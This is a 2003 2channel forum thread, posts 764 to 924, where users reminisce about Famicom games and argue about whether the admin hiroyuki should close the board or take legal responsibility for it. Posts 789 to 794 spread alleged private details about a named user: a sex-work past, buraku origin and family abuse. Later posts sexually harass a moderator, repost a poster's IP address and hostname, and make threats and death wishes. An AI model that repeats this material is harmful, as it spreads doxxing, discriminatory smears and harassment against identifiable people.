764 :ぴろしきはふろしき●⊂(´∀`⊂⌒`つ ◆DQN.1731os :03/06/07 05:47 ID:+TVW6SVp
PCつけっぱなしで、寝てそう>まろんゆき

765 :ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★:03/06/07 05:48 ID:???
ファミコンは連打するとボタンがめり込んでしまう四角ボタンが王道っすね。

ファミコン借りたり、ファミコン持ってる友達の家にいりびたったりしたですよ。


766 :心得をよく読みましょう:03/06/07 05:49 ID:+72qHpjT
管理人さん実況板の荒らし対策をなんとかお願いしまつ!

767 :心得をよく読みましょう:03/06/07 05:49 ID:NLY2VGFL
どっちかっていうと妹より姉さんが欲しかったが

768 :心得をよく読みましょう:03/06/07 05:50 ID:6lV1+efC
>>728
>>763
親姉弟うまくいってないのかな…

769 :ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★:03/06/07 05:50 ID:???
根性で勝ち越し!>>766さん


770 :ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★:03/06/07 05:51 ID:???
表面的にはうまくいきまくりですよ。


771 :ぴろしきはふろしき●⊂(´∀`⊂⌒`つ ◆DQN.1731os :03/06/07 05:51 ID:+TVW6SVp
たるゆきにとって何よりも「恐怖」なのは【さいばーん】より、お姉さん…
でも、めろんゆきより大きいって、、、

泣かされていたのだね。てか、今も進行形・・・・てのは、おいらの想像です。

772 :心得をよく読みましょう:03/06/07 05:51 ID:iJ5ckIQV
ファミコン本体借りるってありえなかったな。
俺も友達の家でゲームしまくったけど、RPGは人の家だと無理なんだよね。
おかげで初期のドラクエ、FFはほとんど知らん。
今でもその手の話題についていけない。。。

773 :心得をよく読みましょう:03/06/07 05:52 ID:+72qHpjT
>>769
根性ですかぁwやってやりますともーーーーーーーー!!

774 :ぴろしきはふろしき●⊂(´∀`⊂⌒`つ ◆DQN.1731os :03/06/07 05:53 ID:+TVW6SVp
あの、、、、何があったの?>とろろゆき

なんか、なんか・・・・

775 :心得をよく読みましょう:03/06/07 05:54 ID:Vn0FT7hh
人間生きてくには色々あるさ。。。

776 :心得をよく読みましょう:03/06/07 05:54 ID:NLY2VGFL
2chの管理人って飽きないのか?

777 :心得をよく読みましょう:03/06/07 05:54 ID:b5/b7o/8
>>774
ただのヨッパみたいっすよ。

778 :ぴろしきはふろしき●))⊂(´∀`⊂⌒`つ ◆DQN.1731os :03/06/07 05:57 ID:+TVW6SVp
キーワード

「敵が来る」 「穴を掘る」 「埋める」 「はしごを上る」 「クリア」 「レベル100」

のゲーム知っている人います?
あのゲーム、レベル99で止まったままなんだけど、名前が分からないから探しようがない(´・ω・`)ショボーン
(何年前だと、いわんでおくれ!イワンの馬鹿!)

779 :心得をよく読みましょう:03/06/07 05:59 ID:b5/b7o/8
ロードランナー

780 :心得をよく読みましょう:03/06/07 05:59 ID:BNQTdr95
ロードランナーかなぁ?

レベル100ってのがわからんが。

781 :心得をよく読みましょう:03/06/07 05:59 ID:6lV1+efC
ロードランナーじゃねーの?

782 :ダミアソ ◆DL666.HUSI :03/06/07 06:00 ID:GvWE2vAC
いやこっちかな?チャンピオンシップロードランナー。

783 :ぴろしきはふろしき●⊂(´∀`⊂⌒`つ ◆DQN.1731os :03/06/07 06:01 ID:+TVW6SVp
>>777(σ・∀・)σゲッツ! オメデ〜

ヨッパか・・・・酔うと「泣く」タイプ?>しらゆき

784 :ぴろしきはふろしき●⊂(´∀`⊂⌒`つ ◆DQN.1731os :03/06/07 06:07 ID:+TVW6SVp
「ファミコンは連打するとボタンがめり込んでしまう四角ボタン」

多分「ロードランナー♪」。チャンピオンは付かなかったと思う。
なんせ、相当前に親戚の家で3日漬けで1〜99までやった記憶がありんす。
レベルかどうかは忘れたけど、あと一息で家に帰るハメになって、がっかりした記憶が・・・

みんな、ありがと。今度探してみよ。

785 :ぴろしきはふろしき●⊂(´∀`⊂⌒`つ ◆DQN.1731os :03/06/07 06:10 ID:+TVW6SVp
(´-`).。oO(やっぱいつもと違う気がするのは、おいらだけ?)

786 :ぴろしきはふろしき●))⊂(´∀`⊂⌒`つ ◆DQN.1731os :03/06/07 06:18 ID:+TVW6SVp
とりあえず


メルマガ


きてない


どうした 酔っ払い!!!!!!!!!   と書いてみる。

787 :心得をよく読みましょう:03/06/07 06:21 ID:BNQTdr95
ひろゆきはもう寝たかと

788 :心得をよく読みましょう:03/06/07 06:21 ID:Vn0FT7hh
多分、ひろゆき氏は寝たと思う。
もしくは○ナニー中。

789 :心得をよく読みましょう:03/06/07 06:23 ID:0+2+uI31
なんかあゆみが風俗嬢の過去や部落出身をばらされて怒ってるぞ。
自分勝手でわがままな女だな。
文句言うなら2chに言えよ。

790 :ぴろしきはふろしき●⊂(´∀`⊂⌒`つ ◆DQN.1731os :03/06/07 06:26 ID:+TVW6SVp
タナニーとお幸せに、、、、 な状態で、PCの前でおねんね…


791 :心得をよく読みましょう:03/06/07 06:33 ID:0+2+uI31
http://that.2ch.net/test/read.cgi/event/1052421066/
2ch女帝あゆみ様をナンバー1にするスレその1
1 :参加するカモさん :03/05/09 04:11 ID:UC0R2fXd
http://members.tripod.co.jp/gogatunosakura/
我らがあゆみ様が人気サイトランキング等に登録されてまつよ?
1位になってもらおうじゃないでつか?
クリックしまくりなのでつ。
http://members.tripod.co.jp/gogatunosakura/

22 :審査委員会 :03/06/06 02:42 ID:tfXjanAc
肉体労働者の方に失礼だな。
風俗嬢は風俗嬢。
チンポしゃぶるか、すまたかソープ。

本当のどかちんに謝って頂きたい。
エロ雑誌にまんこご開帳で掲載されてた雪よりは嘘でなかった過去にしやすいだろうが。
たかだかはくくもねーブスが女王様とはゆるせませんな。

792 :心得をよく読みましょう:03/06/07 06:33 ID:0+2+uI31
29 :あゆみ ◆MIRV/Rj/JU :03/06/07 04:26 ID:0mjADG4f
なんで私が風俗やってたということにされとるんやろか、、
言い張るなら証拠もついでに持って来てくださいな。
これでも乙女なんで、それなりに傷付くんですよ。

31 :参加するカモさん :03/06/07 06:17 ID:SbFuGg36
部落は戸籍から消えませんしね。
風俗の歴史も相手は覚えてるだろうし。
でもあゆみさん、自分は傷ついても他人は傷つけてもいいって都合いくないすか?

32 :参加するカモさん :03/06/07 06:20 ID:SbFuGg36
あ、自分は傷つくのは許せなくてもだって。

793 :心得をよく読みましょう:03/06/07 06:48 ID:0+2+uI31
マァヴ人気だね〜
http://qb.2ch.net/test/read.cgi/accuse/1054888804/l50



794 :心得をよく読みましょう:03/06/07 07:26 ID:0+2+uI31
あゆみ様の情報整理
マァブ様の彼女

あゆみ様のプロフィール

上智大卒偽称
風俗嬢経験あり
部落出身
父親にはレイプ
日大中退
母は分裂症


795 :心得をよく読みましょう:03/06/07 13:56 ID:EG/Y9Kgx
>>778
スペースパニック(ユニバーサル)
ちゃんと殺さないとボスとかドンに進化。
酸素切れで死亡。

796 :心得をよく読みましょう:03/06/07 16:24 ID:Y/rSTlYU
キチガイはさっさと死ねや

797 :心得をよく読みましょう:03/06/07 17:21 ID:qQQ0HZN6
(´-`)о○(ふしゃゆき・・・・・

798 :心得をよく読みましょう:03/06/07 17:28 ID:E3QdJRHC
ひろゆきの人生観を語られるとマターリしてていいと思うですよ

799 :心得をよく読みましょう:03/06/07 17:54 ID:MypPCza2
閉鎖スレを潰したいらしい。
やはりこのスレは都合悪いんだろな。

800 :心得をよく読みましょう:03/06/07 18:02 ID:72hW8Jlg
閉鎖スレはあってもなくても一緒。

801 :ぴろしきはふろしき●))⊂(´∀`⊂⌒`つ ◆DQN.1731os :03/06/07 18:19 ID:+TVW6SVp
   (⌒-─-⌒)
   (  ・  ・ )
    /丶 (エ) ノ
    l  (,,゚Д゚) <クマったクマった
    | (ノ    |)     
   C      l
    ゙:、.. ノ ノ
     U" U

今起きたよ(((( ;゚Д゚)))ガクガクブルブル
いっそこのまま、寝ていようかなー。 昼夜逆転の逆転の技・・・


で、もろほしは起きたのだろうか・・・

802 :心得をよく読みましょう:03/06/07 18:34 ID:x9A6z8N2
今朝はこんな事があったのね
アンチスレなのに酔いちくれひろゆきにかなり好感度UP

803 :ぴろしきはふろしき●))⊂(´∀`⊂⌒`つ ◆DQN.1731os :03/06/07 19:19 ID:+TVW6SVp
>723 名前: ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★ 投稿日: 03/06/07 05:16 ID:???
>詭弁じゃなくても、駅弁もうまいです。
>詳しい説明は省きます。

やっぱり、おかしいよ!これ、下じゃん。ぉぃぉぃ

804 :心得をよく読みましょう:03/06/07 19:19 ID:w++uhTNA
あんなので好感度UPなのか・・・
楽なもんだな

805 :心得をよく読みましょう:03/06/07 19:39 ID:PRL/UjMu
http://www.emu3.com/bbs/2situmonbbs/situmonbbs.cgi
このサイト潰しキボンヌ。マジでむかつく!逝ってヨシ!!

806 :心得をよく読みましょう:03/06/07 20:31 ID:WDHulm0G
タイ━||Φ|(|゚|∀|゚|)|Φ||━ホ!!!!
キタ━━━(゚∀゚≡(゚∀゚≡゚∀゚)≡゚∀゚)━━━━!!!!!!!
http://www.zakzak.co.jp/top/t-2003_06/2t2003060609.html
誰かスレ建てて

807 :心得をよく読みましょう:03/06/07 20:35 ID:o8pdyiQz
>803
滅多に言わない下ネタを酔いちくれてほざくひろゆきに萌え。

808 :廃人 ◆AhyaL/D8/6 :03/06/07 20:46 ID:qWjBykJW
!!

809 :1◇☆◇ ◆eNQTADh6WY :03/06/07 20:49 ID:yhg98ZsL
いつ閉鎖するの?

810 :イレグイ13 ◆ELTAKO1YxY :03/06/07 20:50 ID:zFozvR2h
あぁん?閉鎖だぁ?どないやねん
まてや!新しい管理人に俺をプッシュせんかい

811 :イレグイ13 ◆ELTAKO1YxY :03/06/07 20:50 ID:8jeb07HC
こら!でてこいや!ヒキヲタヴォケ共
かかってこいやー
いまつかーいまつかー

812 :イレグイ13 ◆ELTAKO1YxY :03/06/07 20:51 ID:55eljS/T
おながいしまつ
2ちゃんがなくなると僕は生きていけないんでつ
たこ焼きなめんなよ

813 :心得をよく読みましょう:03/06/07 20:51 ID:WU6sf/Al
いよいよ、閉鎖か・・・・

814 :イレグイ13 ◆ELTAKO1YxY :03/06/07 20:51 ID:8jeb07HC
よし!ここも制圧やな

815 :心得をよく読みましょう:03/06/07 20:52 ID:NIGDXPJn
どこが?w

816 :心得をよく読みましょう:03/06/07 20:52 ID:OErpKI/Y
イレグイ13 ◆ELTAKO1YxY て誰?

817 :イレグイ13 ◆ELTAKO1YxY :03/06/07 20:52 ID:55eljS/T
閉鎖はないよ
名無しのあなた!
タコふぁんクラブに入りなさい

818 :イレグイ13 ◆ELTAKO1YxY :03/06/07 20:53 ID:2OEl3kmu
はぁ〜知らんの?
2ちゃんねるぷらすに載る男だよ
今取材待ちやねんけどなかなかけぇーへんねん

819 :心得をよく読みましょう:03/06/07 20:55 ID:OErpKI/Y
イレグイ13 ◆ELTAKO1YxY 聞いたことねー。HNからして釣り師?

820 :イレグイ13 ◆ELTAKO1YxY :03/06/07 20:56 ID:2OEl3kmu
各板制圧してる今一番熱い固定だ
(・Ω・)y-~~~

821 :心得をよく読みましょう:03/06/07 20:56 ID:NIGDXPJn
ノポイッ

http://gamble.2ch.net/test/read.cgi/slot/1054980872/

822 :イレグイ13 ◆ELTAKO1YxY :03/06/07 20:57 ID:4lkXwd/I
なぁーやらないか?制圧
タコふぁんクラブにはいりなよ
ほら
いまつかぁぁぁぁん

823 :イレグイ13 ◆ELTAKO1YxY :03/06/07 20:58 ID:8jeb07HC
夜勤とかゆーヤシも悪い奴みたいだからなー

824 :心得をよく読みましょう:03/06/07 20:59 ID:OErpKI/Y
パチスロ板か・・・。ギャンブル系の板の固定はろくなのがいないね。


825 :心得をよく読みましょう:03/06/07 21:00 ID:wN7+Bwrx
ここってi2chですか?

826 :マイク ◆yrBrqfF1Ew :03/06/07 21:10 ID:lI1QOPhN
>>806
あ、ついに被告人関沢に判決が出たのね。

827 :心得をよく読みましょう:03/06/07 21:41 ID:vkK31vw2
あゆみ様はこないの?

828 :トラ技2号 ◆MWPYWHW9JE :03/06/07 22:26 ID:MlXwPqVH
極悪中尾とキチガイ西村は、いつ逮捕されますか?

829 :心得をよく読みましょう:03/06/07 22:35 ID:vkK31vw2
>>828
あゆみも忘れるなよ。

830 : ◆IZUMIgeVMA :03/06/07 22:37 ID:QgBkHKez
トラ技ってトランジスタ技術の略ですか?

831 :心得をよく読みましょう:03/06/07 22:39 ID:2OhP3Mhh
知ってるなら聞くなよ

832 :心得をよく読みましょう:03/06/07 22:46 ID:V04Q6y8k
トランスポンダ技術、とか。

833 :心得をよく読みましょう:03/06/08 00:01 ID:zj4lEYbv
管理人は人を殺しておいて、むしろこの基地外掲示板が存続してる方が不思議なんですけど?

834 :心得をよく読みましょう:03/06/08 00:13 ID:by7GJP8M

人殺しが運営している掲示板はすぐに閉鎖しろ!!!!!



835 :トラ技2号 ◆MWPYWHW9JE :03/06/08 00:36 ID:XQam5wxA
>>830
よく分かりましたね。

836 :心得をよく読みましょう:03/06/08 00:37 ID:Go1aDBM4
管理人に,管理する意志があるのか否かは知らないが,もしあるのであれば,
管理できる程度までは,規模を縮小すべきである。適正に管理して,社会に
迷惑を及ぼさないのであれば,存続を許してもよいのでは?
ちなみに,このような有様が続くようであれば,掲示板設置差止めの訴訟が
多数人から起こされ,それを認める判決が出るかも知れない。そうなれば,
この掲示板の廃止が現実のものとなるであろう。


837 :心得をよく読みましょう:03/06/08 08:12 ID:nrxfvvKY
あげ

838 :心得をよく読みましょう:03/06/08 13:02 ID:by7GJP8M
       

839 :トラ技2号 ◆MWPYWHW9JE :03/06/08 13:42 ID:XQam5wxA
 

840 :心得をよく読みましょう:03/06/08 13:44 ID:7QYuKjHl
>>836
同意しますね。
近々そうなるでしょ。

841 :心得をよく読みましょう:03/06/08 16:19 ID:dEkVScLZ
ギネスで世界一のデブとして認定されるサイト。
それが2ちゃんねる。

842 :心得をよく読みましょう:03/06/08 17:32 ID:nrxfvvKY
あげて議論をいたしましょう。

843 :心得をよく読みましょう:03/06/08 17:33 ID:hsiJj+HF
さっさと閉鎖しろーーー

844 :心得をよく読みましょう:03/06/08 17:34 ID:9IEgoHKb
こんな管理も出来ないような掲示板は閉鎖した方がいい
それかもっと行動できる管理人に交代すべきだ

845 :名無しさん@4回忌:03/06/08 17:36 ID:XQam5wxA
>>841
なんとなく同意

846 :心得をよく読みましょう:03/06/08 17:40 ID:cdE9W1eu
んじゃあ、「管理人が負うべき管理責任とは」
ぐらいから議論を始める?

847 :心得をよく読みましょう:03/06/08 17:41 ID:dEkVScLZ
>>846
それは議論しても無駄です。
当人は管理責任なんて考えてないようです。

848 :心得をよく読みましょう:03/06/08 17:42 ID:9IEgoHKb
議論してもクソゆきは見てないから無駄だ、それ程管理能力が無い馬鹿
そんな忙しいならさっさと交代しろ

849 :心得をよく読みましょう:03/06/08 17:45 ID:dEkVScLZ
書くのはすべて自己責任
間違って書いてしまっても自己責任
書かれたら書いた奴に訴えて書いた奴の責任を追及する

だから管理責任はない。
と言う考えが基本になっているのがここ2ちゃんねるです。

850 :心得をよく読みましょう:03/06/08 17:45 ID:cdE9W1eu

やる気なしかよ・・・  _| ̄|○

ま、いいけどさ。

851 :心得をよく読みましょう:03/06/08 17:50 ID:dEkVScLZ
当人はかなり強気です。
この考えを押し通せなくなればおそらく存続せずに閉鎖するでしょう。
これに対抗するには管理責任を追及する法律を制定しなければなりません。
そのさきがけとなったのが
特定電気通信役務提供者の損害賠償責任の制限及び発信者情報の開示に関する法律
通称プロバイダー責任法でございます。

852 :心得をよく読みましょう:03/06/08 17:50 ID:cdE9W1eu
俺も基本的には >>849 のセンで同意なんだけどね。

ということは、「管理できてない→閉鎖」ってのは
筋が通らないな。

853 :けんすう ★:03/06/08 17:53 ID:???
>>849は途中までは正しいとは思うんだけど、

>だから管理責任はない。
ってところがおかしいと思うのだな。
書いたことに対しては書いた人に責任があるのは当然。
その書き込みを放置したり削除しなかったりすることに対する責任が管理責任。
で、その責任はひろゆきさんはいやでも背負っているわけで、
「責任はない」などと言ってたところは見たことがありません。

>>851
どっちかというと、管理者側のための法律だと思うんだけどなぁ。

854 :心得をよく読みましょう:03/06/08 17:57 ID:cdE9W1eu
参考までに、プロバイダー責任法(通称)をどぞ。

http://www.watch.impress.co.jp/internet/www/article/2001/1122/prohou.htm
http://www.zdnet.co.jp/news/0205/27/nj00_provider.html


855 :心得をよく読みましょう:03/06/08 18:01 ID:9IEgoHKb
利用規則があるけど管理側は全く行動しないってのは
法律があるのに何があっても動かない警察みたいだな
こんな無法地帯はさっさと閉鎖しろ

856 :心得をよく読みましょう:03/06/08 18:03 ID:hsiJj+HF
不祥事だらけの管理側

857 :けんすう ★:03/06/08 18:08 ID:???
>用規則があるけど管理側は全く行動しないってのは
まったく行動してなかったら大変なことになりますね。
今削除をしている人は誰なんでしょう・・・?

858 :心得をよく読みましょう:03/06/08 18:12 ID:nrxfvvKY
>>875
けんすうさん、こんなところでよく偉そうにできますな。
雪のパイパン割れ目ばっちり無修正の写真が出回ってますぜ。
俺のところにはメールできました。
けんすうが雪の万個をと思うと萎えました。

859 :心得をよく読みましょう:03/06/08 18:12 ID:9IEgoHKb
>>857
もう大変な事になってるじゃん
キチガイばっかり見てるとそれが普通に見えるようになるんだな、恐ろしいー

860 :心得をよく読みましょう:03/06/08 18:12 ID:cdE9W1eu
>>853
「管理責任」の側面から閉鎖まで行くとすれば、
ひろゆきが責任を負いきれなくなった(あるいは責任を
負うのに嫌気がさした)という感じになるわけか。


861 :心得をよく読みましょう:03/06/08 18:15 ID:nrxfvvKY
ああいった裸の写真を撮らせるのは趣味ですかいな?
けんすうってそんな若いのにSM縛りはもうセックスの後がないよ。
次はだいたい露出に走って電車の中でいきなりセックスはじめるようなAVくらいのプレイでしか萌えなくなるよ。

862 :けんすう ★:03/06/08 18:16 ID:???
>>859
ううむ、、、
どこまでが大変と見るかで違うと思うんですが、、
個人情報が書かれまくるとか電話番号とかを書かれまくるとか、
そういった無法地帯状態が大変だと思っているので、、
>>860
責任を負うのが面倒になったりしたら閉鎖するんじゃないかなぁ、、と
意外とスパっとやめちゃう気がします。

863 :心得をよく読みましょう:03/06/08 18:18 ID:nrxfvvKY
>>862
スルーかよ。
自分に都合が悪いからか?あー?

864 :心得をよく読みましょう:03/06/08 18:20 ID:cdE9W1eu
それじゃ、次。

ひろゆきが「存続させる」という強固な意思を
持ってるにもかかわらず、外部の力で強制的に
閉鎖させられる可能性についてでも議論する?

865 :けんすうの母:03/06/08 18:21 ID:nrxfvvKY
風俗嬢との交際は田舎の母が許しませんよ。

866 :けんすう ★:03/06/08 18:22 ID:???
>>864
そもそも前提として「存続させる」という意思がない気がするんです。。

外部の力(たとえば裁判沙汰が異常に多いとか、警察から毎日呼び出しかかるとか)
があったら、すぐにやめるんじゃないかなぁ、、と思います。
「そこまでして続けたくねぇよ」と思うんじゃないかなぁ、、、

867 :心得をよく読みましょう:03/06/08 18:28 ID:cdE9W1eu
>>866
そうなんだろうけど、それ言っちゃったら
>>864のお題じゃ議論にならんし。

意見のある人のレスでも待つか・・・

868 :心得をよく読みましょう:03/06/08 18:29 ID:dEkVScLZ
2ちゃんねるとインターネットと荒らし行為は
アフガニスタンとグローバル社会、そして9.11テロ事件の様子と酷似している。

869 :心得をよく読みましょう:03/06/08 18:29 ID:bOjxy7oK
>>nrxfvvKY
ヽ(´ー`)ノ おまえ2ちゃんねるの匿名性に頼りすぎ。

870 :心得をよく読みましょう:03/06/08 18:32 ID:DQSehOcJ
けんすうに「大人の対応」をされてキレるnrxfvvKY

871 :けんすう ★:03/06/08 18:38 ID:???
>>867
まぁ「閉鎖すべし」という議論をするのも、
結局ひろゆきさんがどうするかだけだから、
ナンセンスといえばナンセンスなんですけどね、、

「閉鎖をすれば問題が解決するのか」というところを議論したほうがいいと思う。。

872 :心得をよく読みましょう:03/06/08 18:44 ID:9IEgoHKb
こんなキチガイ掲示板じゃなければアンチもいなくなるはずだ
まず管理側が行動すべき

873 :心得をよく読みましょう:03/06/08 18:46 ID:jm7ibymZ
ヒロユキがやる気ないんなら閉鎖するべきだろ
2ちゃんねるはヒロユキのものだろ!
お前らがどうのこうの言ったってどうしようもねぇんだよ
お前らはヒロユキに使わせてもらってる立場なんだよ
何を偉そうにしてるんだ

874 :けんすうの母:03/06/08 18:51 ID:nrxfvvKY
雪さんの働いているお店を教えなさい!
おかあさんはゆるしませんよ。

875 :けんすう ★:03/06/08 18:54 ID:???
>>873
ヒロユキがやる気ないんなら閉鎖するべきだろ
ではなくて
ヒロユキがやる気ないんなら閉鎖するだろ
では・・・。

やる気がないなら閉鎖するべき!ということじゃなくて、
やる気がないなら閉鎖していると思うんです、、

876 :心得をよく読みましょう:03/06/08 18:56 ID:9IEgoHKb
>>873
お前アホか?もう一回自分の書き込み見てみろw
それともクソゆきに洗脳された2ch管理側か?wかわいそうに

877 :けんすう ★:03/06/08 19:03 ID:???
>>876
アンチさんを釣るためのアンチさんだと思われ、、

878 :けんすうの母:03/06/08 19:03 ID:nrxfvvKY
けんすうや、ばいたとだけは結婚しないでおくれ。

879 :けんすうの母:03/06/08 19:06 ID:nrxfvvKY
パイパンがいいのか?パイパンがいいのか?
ならかーさんがパイパンになるから。(涙)

880 :心得をよく読みましょう:03/06/08 19:06 ID:cdE9W1eu
>>871
例えばさ、2chみたいな掲示板の「存在自体」を「違法」と
するような法律が通せるの、とか、できるとしたらどういう
内容になるの、とかいう議論も有意義だと思うわけだ。
(実際は相当難しいと思うけど・・・)

そうするとひろゆきの意志には関係なくなるでしょ。

881 :けんすう ★:03/06/08 19:09 ID:???
>>880
2chみたいな掲示板の存在自体を違法にしたら、
インターネット全体の掲示板を規制することになってしまって、
それこそ技術の進歩を止めてしまうので、無理じゃないかなぁと。
アメリカとかEUでもそういった言論の制限につながるようなことには慎重だし、
日本もそういったことはしないと思うですよ。

882 :心得をよく読みましょう:03/06/08 19:11 ID:pRnVCrIf
おい、けんすう 今からタコさんがくるから覚悟しとけよな

883 :イレグイ13 ◆ELTAKO1YxY :03/06/08 19:12 ID:6TnfI5aN
邪魔するでぇーおまんら

884 :イレグイ13 ◆ELTAKO1YxY :03/06/08 19:12 ID:25l/ZeY0
けんすう
いまつかぁぁぁぁん

885 :心得をよく読みましょう:03/06/08 19:13 ID:pRnVCrIf
けんすうびびってんじゃねーぞ

886 :イレグイ13 ◆ELTAKO1YxY :03/06/08 19:13 ID:Baqo4VGM
生意気に★持ちかよ!てめータイマンはれやー

887 :けんすうの母:03/06/08 19:13 ID:nrxfvvKY
>>882
すいません、息子は、息子は、風俗嬢にかどわかされて。。。

888 :イレグイ13 ◆ELTAKO1YxY :03/06/08 19:13 ID:Gr4onytZ
つーかよこさんかい!
夜勤もひろゆきも〆るからよー

889 :心得をよく読みましょう:03/06/08 19:14 ID:pRnVCrIf
タコさんにびびってけんすうは逃げたか?

890 :イレグイ13 ◆ELTAKO1YxY :03/06/08 19:14 ID:VPGBwA+G
かかってこいやだぼ
あぁん?

891 :イレグイ13 ◆ELTAKO1YxY :03/06/08 19:14 ID:7drN8wiH
いねーのか?けんすうちゃんよー
カスは逃げ足はえーなー

892 :心得をよく読みましょう:03/06/08 19:14 ID:pRnVCrIf
けんすうもしょうもない香具師やのう

893 :けんすうの母:03/06/08 19:15 ID:nrxfvvKY
けんすうはM奴隷として雪女王様の肉奴隷としてしか生きることができないんです。
すいませんすいません。

894 :けんすうの母:03/06/08 19:15 ID:nrxfvvKY
けんすうはM奴隷として雪女王様の肉奴隷としてしか生きることができないんです。



すいませんすいません。

895 :イレグイ13 ◆ELTAKO1YxY :03/06/08 19:15 ID:ELUDUoWe
だいたい閉鎖てなんだよー意味わからんよ
おまえも意味わからんよ、けんすう

896 :心得をよく読みましょう:03/06/08 19:15 ID:pRnVCrIf
>けんすう
文句あるならいつでもこいや

897 :イレグイ13 ◆ELTAKO1YxY :03/06/08 19:16 ID:fruEvMMW
どうせ言い訳してあとから登場だろWWW

898 :イレグイ13 ◆ELTAKO1YxY :03/06/08 19:17 ID:zrJypVKb
いつでもこいや!
道頓堀で泳がせてやるよ

899 :心得をよく読みましょう:03/06/08 19:17 ID:pRnVCrIf
>けんすう
タコさんとタイマン張れないなら2chやめろや

900 :イレグイ13 ◆ELTAKO1YxY :03/06/08 19:17 ID:HdkSe7pv
おい!戻ろうぜヘタレはこねーからな

901 :心得をよく読みましょう:03/06/08 19:18 ID:pRnVCrIf
>>900
そうでつね。文句があるならいつでもこいや

902 :名無しさん@4回忌:03/06/08 19:20 ID:XQam5wxA
けんすうよ、nrxfvvKYの問いに答えろ!


903 :名無しさん@4回忌:03/06/08 19:21 ID:XQam5wxA
けんすうはヘタレ。自分のことになると何もいえない馬鹿。

904 :けんすうの母:03/06/08 19:23 ID:nrxfvvKY
はい、けんすうはあの風俗嬢を2chにあてがわれた時から変わってしまったんです。
代々の2chの運営者のおさがり。。。
それがあの女でした。
あー、何のために大学にいかしたことやら。

905 :けんすうの母:03/06/08 19:27 ID:nrxfvvKY
エロ雑誌に出まくってやりまくりの性倒錯者。
息子の内なる異常なリビドーが肉奴隷として生きる決意を決めてしまったのでしょう。。。

906 :けんすうの母:03/06/08 19:32 ID:nrxfvvKY
けんすうや、母が出てきたらとんずらかい?
どうせなら2chからもとんずらしろよ。

907 :ぴろしきはふろしき●))⊂(´∀`⊂⌒`つ ◆DQN.1731os :03/06/08 20:10 ID:EpZorNz0
>書くのはすべて自己責任
>間違って書いてしまっても自己責任
>書かれたら書いた奴に訴えて書いた奴の責任を追及する

これ、当たり前だのクラッカーかと・・・

>だから管理責任はない。

じゃぁ、今ぴろぴが抱えている裁判の争点はなんなの?????ヽ(`Д´≡`Д´)ノ ??


908 :ぴろしきはふろしき●))⊂(´∀`⊂⌒`つ ◆DQN.1731os :03/06/08 20:14 ID:EpZorNz0
けんすう★の性癖と、2chの閉鎖となんの関係があんの??ヽ(`Д´≡`Д´)ノ ??

909 :心得をよく読みましょう:03/06/08 20:30 ID:Urtq+9eE
この板で死ねだのきちがいだの言ってる人って、
IP記録のこと知ってるのかな・・・ 知ってるのだとすると
言ってることとうらはらに随分とひろゆきを信用してることになるような。

910 :心得をよく読みましょう:03/06/08 20:38 ID:tmiH2UKA
p3173-adsau07doujib3-acca.osaka.ocn.ne.jpねぇ…。生で書いて本当にバカだね。

911 :haraiso:03/06/08 20:55 ID:hDN2JG+5
なんか阪神関係の人がわやわや言ってますねぇ。。
頭ワル

912 :ぶるー3:03/06/08 21:08 ID:G41PLxyr
こんちゃ、こんなスレあるんですな。お邪魔します
「閉鎖すべし!」って書かれてもねー。当のひろゆきさんに聞いたことないですが
「あーそうですか。でも僕はまだ面白そうだし、続くんじゃないですか?」って感じの
お答えしか返ってこないと思うんですが。
逆に、2chが飽きられたら「2chもうすぐ終わりますよー」とかMLが来てしばらくしたら
本当に終わったりして。
・・・という漏れの書きこみも、いち利用者の気まぐれです。
|・x・)ノシ ンジャマタ

913 :心得をよく読みましょう:03/06/08 21:50 ID:tT70Hu2g
私怨による私人に対する中傷書き込みを放置してるから、皆アンチになるんだよ

こんな小学生でもわかる理屈がわからないのか?信者さんたちよー

914 :心得をよく読みましょう:03/06/08 21:54 ID:/GdUSIft
いつから良識は2chのログが見れるようになったんだ?

43 名前:良識 ◆M78AI.D/.M 投稿日:03/06/08 18:13 ID:N2kz1wK7
ホスト名: p3173-adsau07doujib3-acca.osaka.ocn.ne.jp
IPアドレス: 220.97.78.173

2ch女帝あゆみ様をナンバー1にするスレその1
http://that.2ch.net/test/read.cgi/event/1052421066/


915 :心得をよく読みましょう:03/06/08 21:54 ID:mCVhyGHl
スカラー波に犯されていたら次のお清めの文字が気持ち悪く見えるぞ!!
注意しろ!!

←◎ ←◎ ←◎ ←◎ ←◎ ←◎ ←◎ ←◎ ←◎ ←◎
←◎ ←◎ ←◎ ←◎ ←◎ ←◎ ←◎ ←◎ ←◎ ←◎
←◎ ←◎ ←◎ ←◎ ←◎ ←◎ ←◎ ←◎ ←◎ ←◎
←◎ ←◎ ←◎ ←◎ ←◎ ←◎ ←◎ ←◎ ←◎ ←◎
←◎ ←◎ ←◎ ←◎ ←◎ ←◎ ←◎ ←◎ ←◎ ←◎
←◎ ←◎ ←◎ ←◎ ←◎ ←◎ ←◎ ←◎ ←◎ ←◎

916 :心得をよく読みましょう:03/06/08 22:05 ID:9OmXpiP6
閉鎖するならなんでもイイよ

917 :心得をよく読みましょう:03/06/08 23:14 ID:Y96vxPfR
ヒロユキさん、ゲーム系の板で煽るのやめてください!
妄想だとか言われそうだけど。

918 :マイク ◆yrBrqfF1Ew :03/06/08 23:42 ID:l/XVLuJa
もうそろそろPart6お願いします。

919 :あゆみ ◆MIRV/Rj/JU :03/06/09 01:28 ID:QL+IKKNB
聡子さん、ごはんはまだかいー?

920 :心得をよく読みましょう:03/06/09 03:13 ID:2/2q7jej
最悪板から来ますた。
匿名のアンジーユさんがえげつない煽りをするスレはここですか?   

921 :心得をよく読みましょう:03/06/09 03:15 ID:NPR9+/gt
>>920
それは http://that.2ch.net/test/read.cgi/event/1052421066/ こっち

922 :心得をよく読みましょう:03/06/09 03:19 ID:2/2q7jej
>>921
ありがとうございます。
ここにはあんじーゆさんの抜け殻しか残ってないみたいです。
しっかし、更年期障害なのによくがんばりますね。

923 :心得をよく読みましょう:03/06/09 03:21 ID:NPR9+/gt
>>922
更年期障害が脳味噌に回ってしまったようだよ

924 :心得をよく読みましょう:03/06/09 05:06 ID:B0CYVmoD
閉鎖まではしなくてもいいけど、しっかり管理してほしいね。
2chネラーの悪質っぷりは完全なる事実だし。
正直これだけ野放しになってるってのが理解不能だよ。
まあ2chうんぬんよりも、これはネットのシステムそのものの問題と思える
部分もあるな。

